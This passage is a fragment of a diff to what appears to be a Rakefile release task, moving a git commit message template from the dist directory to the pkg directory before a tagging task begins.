"# UNCOMMENT THE LINE ABOVE TO APPROVE THIS COMMIT" end - sh "git add . && git commit --verbose --template=dist/commit_message.txt" - rm_f "dist/commit_message.txt" + sh "git add . && git commit --verbose --template=pkg/commit_message.txt" + rm_f "pkg/commit_message.txt" end task :tag do |